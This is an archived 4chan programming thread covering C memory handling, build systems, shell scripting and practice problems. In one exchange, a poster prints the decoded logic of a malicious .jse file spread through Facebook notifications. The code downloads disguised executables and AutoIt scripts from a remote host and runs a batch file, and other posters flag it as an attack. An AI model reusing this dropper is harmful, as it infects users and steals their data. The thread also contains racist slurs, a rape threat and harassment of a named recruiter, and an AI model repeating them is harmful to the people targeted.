[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
/dpt/ - daily programming thread
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 255
Thread images: 23
File: 1635741222.jpg (74 KB, 640x420) Image search: [Google]
1635741222.jpg
74 KB, 640x420
juhannus editio

vanha: >>55235694
>>
>>55242627
first for game development with Unity in Javascript
>>
>>55242627
second for game development in malbolge
>>
third for shut the fuck up or I'll rape your sorry asses
>>
third for gdg. what games are you making /g?
>>
Guy on the left has a boner.
>>
i've seen people do this. assigning NULL after freeing the object. is it correct?


int *r;

r = (int*) malloc(sizeof(int) * N);

free(r);

r = NULL; // why this?


>>
>>55243349
you should never cast malloc
and RTFM
>>
>>55242627
Give me a hard algorithmic problem.
I am bored.
I will even do your homework for free if its hard enough.
>>
>>55243349
>why this?
the same reason you cast malloc: cargo-culting
>>
>>55243412
Write a program that parses past /dpt/s and creates a rating system based on negative replies that specific posts get, then when fed a post's content, it will give you a shitpost rating.
>>
>>55243349

Assigning NULL after free is a safety mechanism to keep yourself from accidentally using a pointer you just freed. If you were to later malloc a block that happened to correspond to the same address, the result could be some rather undesirable behavior.

That said, if you know you don't use the pointer afterwards (i.e. you free at the end of a function), there's no point in nulling it.
>>
So currently I have a wget script that downloads a bunch of files. How can I redirect all the files that it downloads to another folder? I'd like to keep the filenames it produces.
>>
>>55243639
-P prefix
--directory-prefix=prefix
Set directory prefix to prefix. The directory prefix is the
directory where all other files and sub-directories will be
saved to, i.e. the top of the retrieval tree. The default
is . (the current directory).
>>
>>55243657
I tried that and it did not work. Now I noticed that I had a typo in the folder name. Thanks anon.
>>
File: why.jpg (25 KB, 358x512) Image search: [Google]
why.jpg
25 KB, 358x512
Can anyone recommend some resources for learning Mathematica? I'm fairly competent in C, C++, Java, but I have no idea what this shit is.
Like, I just have to write simple stuff that takes the average, does Fibonacci up to a number n, but all the youtube videos I see people just type in "table, graph" and it's all automatic. Like how do I write a function/method?
>>
I'm about halfway through Dive into Python right now, and it's a really good book, but what are some good beginner/intermediary projects to put my skills to the test.
>>
>>55243675
>>55243657
Oh no still doesn't work. This is how it looks like atm:

wget -q -O - $1 | sed "s/>/>\n/g" | grep "eThum" | cut -d ' ' -f 3 | sed -e "s/href=\"/http:/g;s/.$//" | wget -p $1 -q -i -

>>
>>55243740
The small p at the end is actually a P. So that's not the problem.
>>
>>55243736
From my introductory programming class:
>In this problem you will be creating a game that you play against the computer. Make a class named GuessingGame - when executed, this program should randomly generate a secret integer from 1 to 100, and then instruct the user to try to guess what it is. After each guess the program will tell them if they are too high, too low, or if they got it right - and if they got it right it will congratulate them, tell them how many guesses it took them, and offer to either play again or exit
the program.
>Make a program that reads in text file of fractions with the format:
8/4
2/3
4/6
and so on. Then have the program reduce all the fractions, and find how many instances of each fraction there are. Do not print the same fraction to the screen twice.

I don't know, boring stuff like that. You should just program what you think is cool, otherwise I don't think it'll be very fun for you.
>>
>>55243840
>Can't even greentext.
I don't think I'm gonna make it.
>>
>>55243861
Try to create something that you can use to back-up a folder. It has to know which files/folders it should copy, so you don't get duplicates. How you do that is up to you.
>>
>>55243412
projecteuler.
>>
File: screenshot0.png (2 KB, 381x191) Image search: [Google]
screenshot0.png
2 KB, 381x191
I am screwing around in python and sending files to myself.
What the hell does socket.recv() return when there is no more data to recv()?
>>
>>55243373
>you should never cast malloc

On the contrary, you should always. Malloc returns void pointers, which should be casted.
>>
>>55244323
There is literally no advantage to casting void pointers.
C guarantees that void pointers will be converted to other pointers automatically, and vice versa.
>>
File: 1.png (25 KB, 518x199) Image search: [Google]
1.png
25 KB, 518x199
Still looking for ways to mess with arc files. The ones i'm trying to extract keep giving me an error
>>
>>55244284
It's blocking, so it'll just sit there until it either receives something or the connection is closed, in which case it'll return an empty string.
>>
suomi perkele :D
>>
>>55244450
Ok that makes sense.
Thanks
>>
Air traffic monitoring with APL
>>
File: tired pepe.jpg (20 KB, 306x306) Image search: [Google]
tired pepe.jpg
20 KB, 306x306
>see oracle posted a position for students at my university to apply to
>posting made by Thomas Lott, "Diversity Recruiting Programs Manager"
this happens every time
>>
>>55244499
Post the posting
>>
>>55244563
"niggers and koders only"
>>
>>55244610
I want you to post the posting so I can talk to him myself and grill him about it
>>
>>55244624
the job description and such was bog standard if that's what you're asking about
>>
File: 15.png (109 KB, 637x248) Image search: [Google]
15.png
109 KB, 637x248
>>55244634
I need you to post it itself so I can apply to it with a bunch of lies and ask him if he like the grape koolaid and fried chicken when he answers. Just need plausible deniability. Also Here's mr Thomas Lott in da fresh
>>
>>55243412

Given a simple linear 2D PDE, return a graph of its characteristic.
>>
>>55244688
don't bully the minorities in tech anon
>>
int main(void)
{
printf("Testing the code tag, hope this shit works\n");
return 0;
}
>>
>>55243349
If you free the memory block r points to and later try to access it via r, that'll be an error -- which of course shouldn't be an issue if you know what you're doing... but I guess assigning NULL to r is a way of allowing to at least test, later on, whether r points somewhere or not.
>>
>>55243349
You should only free pointers if you're going to reuse them immediately or at the end of the function.

Also, I already tested this.
Free'd pointers return NULL automatically.
>>
>>55244886
>Free'd pointers return NULL automatically

How? Is free() a language construct thing rather than a normal function? I mean, the pointer sure does return NULL after being free'd, but how does this happen since the pointer is passed by value? Is it not a compiler thing rather than a language standard thing?
>>
>>55244934
I mean "is it a compiler thing", not "is it not".
>>
>>55244886
>Free'd pointers return NULL automatically.
No they don't. Idiot.
>>
>>55244973
what font is that , Scott?
>>
>>55244973
So, when they do, it really is an implementation-dependent thing rather than a part of the language standard, huh.
>>
>>55244997
Terminus.
Also, who gives a shit if you know my first name?
>>
>>55244973
>>55244934
I dunno, all I know is I can allocate an array of linked list pointers as buckets for my hashmap and if the bucket is empty, I simply free the whole bucket and it doesn't screw up because those pointers become NULL pointers.
>>
>>55244997
>>55245007
It really is a nice font, looks like the font used when you login without a GUI.
>>
>>55245007
calm down Scott
>>
>>55245008
That's most likely a compiler "optimization", so to speak, I don't think you should count on that.
>>
>>55245007
can you post your $PS1 please?
>>
>>55245007
I want to be friends with Scott, since my previous friend named Scott moved away. The position is available
>>
>>55245036
Not the quoted anon, but what is the $PS1?
>>
>>55244688
A nigger with a non-nigger name. Interesting.
>>
>>55245049
see http://www.linuxnix.com/linuxunix-shell-ps1-prompt-explained-in-detail/

its the prompt in the terminal
>>
>>55245036
local sep=$'\xC2\xBB'     # UTF-8 U+00BB
green=$(tput setaf 2)
yellow=$(tput setaf 3)
blue=$(tput setaf 4)
cyan=$(tput setaf 5)
bold=$(tput bold)
reset=$(tput sgr0)

PS1="\[$green\]\u@\h\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$yellow\]\W\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$green\]\$\[$reset\] "
>>
File: 1425406093960.jpg (66 KB, 618x428) Image search: [Google]
1425406093960.jpg
66 KB, 618x428
>>55245065
thanks bruh
>>
Trying to make a function which when the user reaches page 1 and tries to turn the page further, rather than crashing my app (by trying to get page[-1]) it will reset the page number to the last page of the book (i.e. so the pages loop)

This is just a basic version.

let Pages:[String] = ["001", "002", "003"]


Pages[1]

var currentPage:Int = 1


func test() {if currentPage == 0{
var currentPage = 3
} else {
var currentPage2 = currentPage
currentPage = (currentPage2 - 1)

}
}


Is this a valid method of creating a loop of pages?
>>
faggots

FAGGOTS
>>
>>55243209
ew.
>>
>>55243412
https://codefights.com/
>>
>>55245243
       var currentPage = 3
} else {
var currentPage2 = currentPage
currentPage = (currentPage2 - 1)


Replace with:

       var currentPage = Pages.count()
} else {
currentPage--;


Alternatively Pages.length or whatever your language calls it, and currentPage = currentPage - 1;

What language is this anyway?
>>
>>55246047
I just noticed currentPage is already declared so

var currentPage = Pages.count();

Should be just

currentPage = Pages.count();
>>
>>55245007
I know your last name too, Scott :^)
>>
File: sadYellow.gif (48 KB, 640x442) Image search: [Google]
sadYellow.gif
48 KB, 640x442
I'm so lonely.
>>
#include <stdio.h>

int main(int argc, char *argv[])
{
int i = 0;
printf("Content-type:text/plain\n\n");
printf("Hello, you are learning C!!\n");
printf("Number of arguments to the main function: %d\n", argc);
for(i = 0; i < argc; i++)
{
printf("argument number %d is %s\n", i, argv[i]);
}
return 0;
}


Where in manjaro can I run this so it can run from a browser. i.e. here is the public_html/cgi-bin directory in manjaro. in opensuse it's
/srv/www/cgi-bin

and in ubuntu it's
/usr/lib/cgi-bin
>>
>>55246094
>using the smiley with a carat nose
>>
>>55246171
install lighttpd
add mod_cgi to your lighttpd.conf
>>
>>55242627
Does that man on the left have an erection?
>>
>>55243209
JS in Unity has some cleaner syntax for things like coroutines but I still prefer C#.

And screw people who give "ew"s. Sure there are better 3D engines and maybe Unity encourages some less than great habits for its target demo of newbies but as a tool it is quite capable for quickly prototyping behavior.

If you haven't tried it in a while you should, it had quickly gone from cheap 3rd party software to powerful well documented software.

Unreal for any serious project though.

t. Near no-code
>>
Someone give me a homework problem.
>>
>>55246210
Well spotted
>>
>>55246274
I have a full set of first year CS labs from Pearson but they aren't programming-centric. Stuff like turing machines and simple encryption etc
>>
>>55243349
you use this to debug double free.

normally you wouldn't know which line causes it, by setting that pointer to null you will get a segv on the second free.
>>
>>55246274
given a palindrome, find the next palindrome

e.g. 303 -> 313
>>
>>55246291
I'll take it.

>>55246319
Thank you. I will post a solution shortly.
>>
>>55246291
>>55246334 here
Thank you, by the way.
>>
Question from previous thread:
>>55244322
>>
>>55246269
I was shitposting. :^)

I'm about to release an asset. I fucking hate Unity's serialization, but their asset store seems more promising.
>>
>>55246449
>using the smiley with a carat nose
>>
>>55246274
http://cryptopals.com/sets/6/challenges/48
>>
>>55246463
>not dick riding my caret nose into the sunset
:^(
>>
My wife's son is taking his first programming course in school. What supplementary material can I get him to challenge him? He's often bored in school and I figure this course will be no different.
>>
>>55246530
Making stuff.
>>
I think I may have done something amazing /dpt/

My job does a lot of programming, but the whole office is confined to choosing between Groovy, Jython, or Nashorn (basically JS with Java methods). This is because we're writing scripts inside a crappy java environment and don't have access to the server itself

I don't like Java, and most of my coworkers don't like it either, so tonight I wrote a script in Nashorn that just lets them run almost any executable single file from a URL (input doesn't work but doesn't need to, node and rare languages don't either but there's no way around that)
>>
>>55246564
you invented cgi?
>>
>>55246597
cgwhat
>>
I fucking hate make.
I do not want to type out seperate identical targets for every source file which only differ in target name and file name.
I want to get a list of source files dynamically, loop through them and turn them into object files, and then call the final target to link to all together.
How can I do this? Google is fucking useless.

And don't tell me to use some build system like GNU autotools or cmake please, I'm not that suicidal.
>>
>>55246684
Also, I need parallelism, so don't tell me to just do gcc *.c etc etc
>>
File: kermitSad.jpg (21 KB, 180x240) Image search: [Google]
kermitSad.jpg
21 KB, 180x240
Studying for 2 back-to-back phone interviews early next week. Wish me luck.
>>
I kinda want to buy a 4chan pass. These captchas are getting annoying and I have no friends.
>>
>>55246684

>I do not want to type out seperate identical targets for every source file which only differ in target name and file name.

Then don't. Use Make wildcards. Use my Makefile from my Memesnake program as a reference:

https://github.com/expeditiousRubyist/Memesnake/blob/master/Makefile
>>
>>55246684
Use Cmake or Scons or any number of make alternatives. The only time I use Make directly is when I'm doing some small test programs that I would otherwise compile by hand.
>>
File: 1442274431417.gif (569 KB, 640x636) Image search: [Google]
1442274431417.gif
569 KB, 640x636
>>55246704
Studying for my exams so that I can then study for this test I have to do for a graduate program.

We'll get them jobs lad.
>>
>>55246684
What's wrong with Cmake?
>>
>>55246810
Bloated and unnecessary, I'm not writing a firefox clone here.
>>
>>55246810

It's an ugly, overcomplicated son of a bitch.
>>
Does anyone know how to have a soundcloud widget play music in a backgrounded tab?
>>
>>55246794
Thanks, I've never been very good with makefiles.
>>
>>55246684

You know the worst thing about automake? The fact that no matter how perfectly your Makefile "just works", someone will come along and make a fucking issue of how you "need" to use autoconf for "muh portability".
>>
>>55246810

Suddenly your code doesn't "just work", instead, your build steps start with "download and install cmake". Bonus points if it requires a specific version of cmake, although that's mostly an autoconf problem.
>>
I recieved a notification on facebook.
It says one of my "friends" mentioned me on a comment.
So if I click on the notification, instead of taking me to the publication where the comment is located, it downloads a .jse archive called comment_78106996.jse

its contents are:
http://pastebin.com/SZe4eyKm

It is weird that facebook has a bug like this.

Is this little shit trying to hack me?
>>
>>55246851
>>55247144
How the fuck is this shit programming related?
Take that shit elsewhere.
>>
>>55246819
>>55246830
Do you understand how ugly and complicated makefiles become if your project moves beyond trivial programs? Cmake programs are so much easier to deal with for any sized project whether it's big or small.

>>55247116
So install Cmake once and then it's done.
>>
>>55247175
>Do you understand how ugly and complicated makefiles become if your project moves beyond trivial programs?

If I can build the git, all of djb's software, and the fucking Linux kernel without that being an issue, how "non trivial" are you working with?
>>
>>55247144
CHANGE YOUR PASSWORDS NOW
>>
>>55247144
>http://pastebin.com/SZe4eyKm
>ShellExecute(mozklasor+ _0xe519[36],_0xe519[43],mozklasor,_0xe519[43],0)})(this)
>Is this little shit trying to hack me?
well, someone is
>>
>>55247144

looks like
6a93a4071cc7c22628af40a4d872f49b *Autoit.jpg,vir

c.ShellExecute("https://www.google.com");    a("http://werghdfhadfhf.xyz/bcv/autoit.jpg", mozklasor + "\Autoit.exe", 0);    a("http://werghdfhadfhf.xyz/bcv/bg.html", mozklasor + "\bg.html", 0);    a("http://werghdfhadfhf.xyz/bcv/ekl.jpg", mozklasor + "\ekl.au3", 0);    a("http://werghdfhadfhf.xyz/bcv/ff.jpg", mozklasor + "\ff.zip", 0);    a("http://werghdfhadfhf.xyz/bcv/force.jpg", mozklasor + "\force.au3", 0);    a("http://werghdfhadfhf.xyz/bcv/sabit.jpg", mozklasor + "\sabit.au3", 0);    a("http://werghdfhadfhf.xyz/bcv/manifest.jpg", mozklasor + "\manifest.json", 0);    a("http://werghdfhadfhf.xyz/bcv/run.jpg", mozklasor + "\run.bat", 0);    a("http://werghdfhadfhf.xyz/bcv/up.jpg", mozklasor + "\up.au3", 0);    c.ShellExecute(mozklasor + "\run.bat", "", mozklasor, "", 0);
>>
>>55247175
>>55247196
or just use an IDE like a normal non-autist and simply hit f5
>>
>>55247245
>Expects others to download your shitty 2GB+ IDE just so they build your shitty software
>>
can i call myself a software developer if all i do is recompile modded apks and publish them?
>>
>>55247303
suit yourself
personally I've got 12 different IDEs for just that purpose and use cmake as a last resort
but then, my time is worth more than the value of the gigabytes on my hard drive
>>
>>55247314
Well if people call themselves a "developer" for the job of clicking "Wordpress 1-click install" then you might as well also.
>>
>>55243412
Given two numbers n and k, find the number of all different connected graphs with n vertices and k edges. Vertices are enumerated from 1 to n, so 1-2-3 and 2-1-3 are two different graphs.

Not as simple as it might seem at first. And there are solutions that are wrong but might seem correct without careful inspection, so try to prove the correctness before deciding yourself done.
Also, I guess there's no harm in telling you that the real solution is very short and elegant.
>>
>>55246148
I-I'll be your friend if you want to help me program. I'm not a complete idiot, I've just started but not finished so many textbooks that it's impossible for me to know where to go in order to progress. I feel like I'm reading largely the same shit over and over again with bits of new info sprinkle here and there, yet these small bits of info are what's required for me to take my knowledge to the next level.
>>
>>55247245

I have tried reading the ugly ass build scripts IDEs use. Half of it is a bunch of nigh-incomprehensible XML files. Why would anyone want to work with that shit?
>>
>>55247665
>I have tried reading the ugly ass build scripts IDEs use.
why the fuck would you do that?
just hit build you tard
that's the whole point
>>
>>55247745

>Just hit build
Just type make. Oh wait, project requirements changed, need to update the build script. Now which would you rather be using, easily readable, well-documented GNU Make, or whatever obscure system your IDE is using?
>>
>>55247816
I'd rather use visual studio.
>>
>>55247745
what happens when you change IDEs?
>>
>>55247593
What you need to do is stop reading and start programming. All programming textbooks just contain the same content, but tailored for a different language or paradigm or whatever.

>>55246148
Me too. I bet if I had some friends to work on a project together with I would do a whole lot more programming than I do now. Working on my own projects just feels so thankless and pointless.
>>
At work these last few days I've been developing some Java programs to make conversion of documents to wikimedia markup easier. The last thing I made was a simple filter to remove attributes from HTML tags (leaving just the tag name and brackets) and remove all the extraneous tags I don't need. I've also devised a 32 step regex replacement to convert the output of that script to wiki markup, but I haven't automated that yet.
>>
>>55247196
You can certainly develop makefiles to do anything you want, that's not the problem. The problem is developing makefiles that can work with multiple architectures, platforms and IDE build systems while being readable and extensible to anybody.
>>
>>55247831

Visual Studio .sln files are completely unreadable.
>>
>>55247816
>Oh wait, project requirements changed, need to update the build script.
NOPE JUST HIT BUILD
>>55247840
you hit build
>>
>>55247849
>What you need to do is stop reading and start programming
Start programming what though? All the projects I want to undertake are far too ambitious for my current talents. I need some sort of guidance on where to start tbqh.
>>
>>55247886
>make hangman
>then make snake
>then make asteroids or breakout
>then make a roguelike
>>
>>55247880

>NOPE JUST HIT BUILD
>Implying requirements do not change

You're not given a choice. You HAVE to edit the build script. Would you rather edit a .sln file, or an easily manipulable GNU Makefile?
>>
>>55247907
>You're not given a choice. You HAVE to edit the build script.
tell them
>OK I editted the build script
>now all you have to do is hit build
then you fucking hit build.
>>
>>55247900
A-alright familia, I'll make hangman and post it here so that it can get ignored and/or criticized for being an unreadable mess.
>>
>>55247886
Idk senpai, I have no idea how good you are.
That's a feel everyone feels at some point though.

>>55247907
>Would you rather edit a .sln file
You mean right click, add reference, choose the right library and hit build?
>>
>>55247941
That's something you can practise. Get a feel of getting your program to work properly the first time. Afterwards, you can spend time thinking about how much logic you need to express the solution then implement your improvements.
>>
>>55247941
I'm looking forward to your progress posts
>>
Does /g/ ever team up to code anything? Why don't we have open source projects going?
>>
>>55248019
it's basically a meme at this point that /g/ can't do anything together.

When you first start, you decide on a license and /g/ can't even manage that one without fighting over MIT and GPL.
>>
>>55247916

But since you didn't edit the build script, the custom script that needed to be run to generate some other file needed didn't get run, and so the program either failed to build, or had some sort of runtime error. Try again.

YOU DON'T GET TO BE IGNORANT OF YOUR PROGRAM'S BUILD SYSTEM.

>>55247945

Who says it's simply a matter of adding a library? Maybe the problem is complex enough that you need to run a linker script? Maybe you need to compile certain files only on certain platforms, and other files on a different platform.
>>
>>55248019
Tox
>>
>>55247880
what IDEs are compatible? I can't think of any that even have an "import" feature
>>55247945
this is actually inconvenient when it can't find the library immediately and you have to fuck around with it (but that's more because of it being on Windows... I'm guessing win10 fixes this). but still, it can't be automated with scripts and shit which annoys the hell out of me
>>
File: WTFPL.png (15 KB, 868x337) Image search: [Google]
WTFPL.png
15 KB, 868x337
>>55248028
just go with the WTFPL
http://www.wtfpl.net/
>>
>>55248041
>right click
>build events
>place script in pre or post build or link section
>it works on every platform
>all you have to do IS HIT BUILD WHAT THE FUCK DUDE JUST HIT BUILD
>>
>>55248064
not everyone is comfortable with releasing their code into the public domain using an unprofessionally named licence that has never been tested in court unlike GPL or MIT/BSD
>>
>>55248019
Because /g/ and /dpt/ are completely unsuited to work together. People always try to make /g/ projects a democracy, which never works because there are too many non-developers and bikeshedders who shit any possible discussions up.
The only way a /g/ project would work is with a dictatorship.

>>55248046
You can hardly call Tox a /g/ project. They broke off from here almost immediately.
>>
>>55248088
Tox became a reddit project almost immediately after /g/ made the logo.

Isn't it a dead project now?
>>
>>55248057
>what IDEs are compatible?
every new version of visual studio is backwards compatible
>>
>>55248041
>Who says it's simply a matter of adding a library? Maybe the problem is complex enough that you need to run a linker script? Maybe you need to compile certain files only on certain platforms, and other files on a different platform.

You might have a case for C/C++. I mostly use IDEs for .NET/JVM stuff.
>>
>>55248084
Use CC Zero, problem solved.
>>
CS student here going to be a senior next winter.

Didn't manage to get an internship this summer, I fucked up pretty bad, but what's something that would be pretty desirable that I should do to add to my resume over the summer?

I was thinking about just learning >Rails, or something with a GUI at the leas and doing something cool with that. Maybe some basic bitch android shit?
>>
>>55248082

>it works on every platform
Remember that problem we had before about needing conditional compilation? No, it does not work "on every platform".
>>
>>55248117
I'm not releasing my contributions in the public domain, you stupid shit.
>>
>>55248111

I am always talking about C and C++ in specific. GNU's build tools aren't necessarily the right choice for Java and .NET.
>>
>>55248121
the more you describe the problem
the more "JUST HIT BUILD" seems to apply
and then you move the goal posts
but not far enough because all you have to do iS FUCKING HIT BUILDAUWBHFYUGSIEGFHYYU
>>
>>55248138
pls don't bully in the bully free zone
>>
>>55248088
Oh yeah, I would absolutely expect it to be a dictatorship. And our dictator would have to be a professional autist wrangler. I just think it would be nice to have a group project to work on.

So if someone wants to host a project just hmu senpai, we'll chat shit and submit pull requests and stuff, it'll be great.
>>
>>55248147

I am not pushing any goal posts, I am merely pointing out edge cases. "Just hit build" doesn't always work. Project requirements may change, and may even be outside the scope of what your IDE has buttons for dealing with. It is of absolute necessity that a programmer understand the build script and how to manipulate it for edge cases where necessary. Some of the things I'm pointing out are not too uncommon. Building for different platforms, for example. I might have some .c and .cpp files dedicated to the Windows UI, some to using GTK on Linux, and some .m files for working on Mac OS X. Now I have to add in an objective C compiler, but only when I'm compiling for Mac OS X. I have to link against GTK, but only when I'm building on a Unix system. And Visual Studio assumes you're probably only going to be developing for Windows.
>>
>>55248204
I'd be willing to join, but it has to be in C.

Also, what kind of project are you thinking of?
It has to be a real goal, not just "whatever".
>>
>>55248121
Then why don't you use a template to generate your makefile, .sln, or whatever depending on your platform, IDE, etc.
>>
>>55248237
That's exactly what Cmake does
>>
>>55248234
The details like what language and what the project would actually entail would be up to the dictator. The problem is finding someone who has a fitting project in mind and is willing to take responsibility for it. I'm sure as hell not going to do it myself because I'm not cool enough, and I don't have enough experience with open-source software development.
>>
>>55248237

That is one option. I have merely yet to find any template systems for doing this that I find easy to work in.
>>
>>55244934
It's probably a macro
>>
>>55244323
Don't cast in C, static_cast in C++.
>>
>>55247879
>>55247907
You rarely edit .sln files, and you don't need them to build things.

The main reasons to change them are either to add a new project or to add dependencies between projects, and this is easily done in Visual Studio. If for some reason you don't want to do that, you don't have to use .sln files at all.

You only need to know how to write MSBuild scripts, and most build script changes happen to .csproj files which are in this format.

I hand-edit .csproj files all the time, and they're at least as good as GNU makefiles, if not better. They're written with XML rather than a special snowflake language, and it's not cumbersome because all the heavy lifting is done with build tasks that reside in a DLL or inline code.
>>
>>55248402
after 14 years working with C++ I've essentially never used static_cast
it's needlessly verbose
>>
>>55245054
Thomas is perfectly nigger name.
Look at Tom Sawyer for example - he acts like a typical nigger.
>>
>>55248119
Do you know JavaScript technologies like angular, express, etc

Learn them and do a web app of some kind
This includes a database backend and maybe redis for shits

A job is better than no job
>>
>>55245054
Who is Will Smith?
>>
Why is everybody masturbating about pattern matching? "Look, Ocaml has pattern matching!" "Hey, Rust has patterm matching too!"
I mean, for fuck's sake, it's nothing revolutionary, it's a fucking switch-case with fancy data-types.
>>
some nerve thinking myanimelist, tox, nyaa, horriblesubs ripper, aren't 4chan (not counting the many games developed as well)

Would help if you stop contrarians
>>
>>55248607
niggers name is "Willard"
maybe you're a britbong or something, but over here in america dats pretty nigger
>>
>>55248626
I've never understood all the hype either, but sometimes it's a quite expressive solution that's also very readable.
>>
>>55248648
Yeah, I agree, pattern matching is useful and readable, but it's not something a language can really brag about.
>>
>>55248626
like to see a switch case on a list
>>
>>55248626
It's a big deal and this wouldn't be possible with a switch

type expr =
| Int of int
| Var of string
| Add of expr * expr
| Mul of expr * expr;;

let rec d(f, x) =
match f with
| Var y when x=y -> Int 1
| Int _ | Var _ -> Int 0
| Add(f, g) -> Add(d(f, x), d(g, x))
| Mul(f, g) -> Add(Mul(f, d(g, x)), Mul(g, d(f, x)));;
>>
>>55248425

>They're written with XML rather than a special snowflake language

Yeah, I'd actually rather use a language custom built for the job than fucking XML.
>>
>>55248119
Same boat. I'm just working on a lot of side projects and keeping my eye on jobs.
At this point I'd take an easy IT job as long as it's where I want to work.
Actual programming or sys admin would be dope.
>>
Python anyone?
>>
>>55248816
It's well known and it's supported by much more tooling than make's DSL. It's easy to write a PowerShell script to update a property.
>>
>>55249000
>current year
>fucking PYTHON

You just wasted a perfectly good set of trips.
>>
You know those days where code *works*.. but you hate it?

https://rosettacode.org/wiki/Tonelli-Shanks_algorithm

Fuck me. Direct port of the Python example to Ruby is hideous.
>>
How do I go about finding unpopular open source projects to contribute to? I figure the big projects don't need a 500th dev, but some little taiwanese kid might really appreciate me helping him build his game or whatever. Github only lets me search by what's trending.
>>
Who's more likely to get the job?

>Fresh grad with no previous professional experience; Github portfolio primarily full of class shit.

>Nogradfag with no previous professional experience, but an extensive array of personal projects.
>>
>>55249109
the first one of course
>>
>>55249098
There's not too many but you might be able to find some that interest you on gnu savannah.
>>
>>55248577
I've messed with a little javascript,but nothing really.

Thanks for the advice, I'll look up some info and think of a stupid project to do.
>>
>>55248727
switch (ptr) {
case NULL: printf("...");
break;
default: printf("....");
}

:^)

>>55248758
I can see how it's useful but it doesn't seem that special. If I understood the piece of code you just wrote (I have almost zero Ocaml knowledge so correct me if I'm wrong), a javascript equivalent would be this:
var expr = {
"Int": typeof(0),
"Var": typeof(""),
"Add": (a, b) => a * b,
"Mul": (a, b) => a * b
}

var d = (f, x) => {
if (typeof f == expr.Var)
return 1;
if (typeof f == expr.Int)
return 0;
if (f == expr.Add)
return expr.Add(d(f, x), d(g, x));
if (f == expr.Mul)
return expr.Add(expr.Mul(f, d(g, x)), expr.Mul(g, d(f, x)));
}

Sure, the syntax of your code seems to be lighter, but that really doesn't seem like much.
>>
>>55243412
Given a connected edge-weighted unoriented graph, find a Hamiltonian path with the least weight.

You can't get much harder than that, unless you want to dip into intractability.
>>
>>55249192
Honestly from looking into it more, it looks like what I should be doing is make a website where people can post their open source projects, and let devs search through them freely to find ones they are interested in. Maybe using the github API, or just making my own directory entirely.
>>
>>55243754
Sure you want it to be $1? You're already passing in that argument as an url, urls don't make very good folder names. In case it's what you want, do
mkdir -p $1
prior to that, maybe wget doesn't want to create it itself.
>>
>>55249109
Depends on the interviewer. Personally I'd go for the latter.
>>
>>55249220
"Add": (a, b) => a + b,

if (typeof f == expr.Var) {
if (f == x)
return 1;
else
return 0;
}

ftfy. Apart from that, that's almost as good as the Ocaml version I'd say. (not him) It wouldn't be possible in a memenamically typed language, but whatever. I'd say it lacks a bit of constraint, in that you don't have tags to disambiguate between vars and ints, you just rely on a careful choice of underlying types. Could be fixed while doing it in JS tho. Another thing you have carefully avoided here is the fact that pattern-matching, beyond checking the structure of the value, actually lets you deconstruct it and bind variables to what it contains... Wait wait wait! where is g in
d(g, x)
coming from? you're not storing the operands of Add and Mul in the expression datatype and you should be, redesign this. (Not slamming you, I know it's quick and dirty.) Yeah, pattern matching is more handy and intuitive in this case.
>>
>>55248758
That's not how MEN derive:
https://codewords.recurse.com/issues/four/hack-the-derivative
>>
>>55249738
KEK
Have you read your SICP today?
>>
File: ss (2016-06-25 at 12.21.59).png (21 KB, 447x709) Image search: [Google]
ss (2016-06-25 at 12.21.59).png
21 KB, 447x709
Doing some interactive formal proofs.
>>
File: this.png (24 KB, 618x272) Image search: [Google]
this.png
24 KB, 618x272
>>55243412
I give you two strings with lowercase letters. You return a string which corresponds to the middle point between them, that is, there must be as many possible strings that fall in lexicographical order between the first string and the middle point, than between the middle point and the last (respectively included and excluded in both cases). I'm convinced it's possible.

Alternate formulation: a random string comprised within the given interval should be as likely to fall in the first half of the interval than in the second. Bonus points for arbitrary alphabets (I think there's a huge catch but I'm not telling you), and fine tuning based on the different probability for each letter to appear. Good luck! I'm doing that too.

Pic related: what I posted yesterday, "how to average two floats in C++". I think you can always go for
x/2 + y/2
, EXCEPT if one or both of x and y is
std::numeric_limits<T>::denorm_min()
, in which case
(x+y)/2
has better chances of success. Agree or disagree?
>>
File: matthew-flatt.png (42 KB, 125x186) Image search: [Google]
matthew-flatt.png
42 KB, 125x186
>>55249809
HTDP bitch please
>>
>>55249853
There's nothing about differentiation in HTDP.
>>
>>55249843
>I give you two strings with lowercase letters. You return a string which corresponds to the middle point between them, that is, there must be as many possible strings that fall in lexicographical order between the first string and the middle point, than between the middle point and the last (respectively included and excluded in both cases). I'm convinced it's possible.

Not the guy you replied to, but couldn't that be done pretty simply? Example with numbers:
low = 10
high = 20
mid = low + ((high - low) / 2)

The same thing would work for strings, except you need to map characters to numbers first. You could do that in a number of ways, convert to bytes, get ascii or unicode values, a=1 b=2 c=3... etc. whatever you feel like really.

Unless I misunderstood what you meant.
>>
>>55246047
It's Swift.
>>
Why does /g/ hate Lua?
>>
>>55250311
I don't hate Lua though.
It's neat.
>>
>>55250311
Lua is comfy for scripting.
>>
>>55250311

Eh, I've seen mixed opinions on Lua here. I personally dislike it because it's rather weakly typed. On principle, I dislike any language where a string can be implicitly cast to a number of which it is a string. For example, in Lua:

"2" + 1
=> 3


In Javascript:
> "2" - 1
1


And in Perl...
$ perl -e "print('2' + 1);"
3


I hate every one of these languages because this results in a valid result, rather than a runtime type error.
>>
>>55250407
In practice this has never caused me a problem
has it for you?
and if it has not, then what is the issue?
>>
>>55250311
I like Lua a lot, in fact, I've been using it for the past 8 years or so for scripting. It's a simple language with clean syntax that's easily extensible, what's there to not like?
>>
>>55250407
Yes, yes, dynamic typing is shit and all, but for languages that are very small and designed for scripting, it's permissible.
>>
>>55240950
>monotheist trying to push his unreasonable beliefs on me
Disgusting.
>>
Post usages of linked lists in your programs.
Tell us why you're not using any other structure for that.
>>
>>55244392
There are multiple .arc formats floating around, you'll need to find the format specific to your application.
>>
>>55250624

It is not a problem with dynamic typing. Ruby and Python give reasonable outputs when you try to do any of that shit.

Ruby:
irb(main):001:0> "2" + 1
TypeError: no implicit conversion of Fixnum into String
from (irb):1:in `+'
from (irb):1
from /usr/bin/irb:11:in `<main>'
irb(main):002:0> "2" - 1
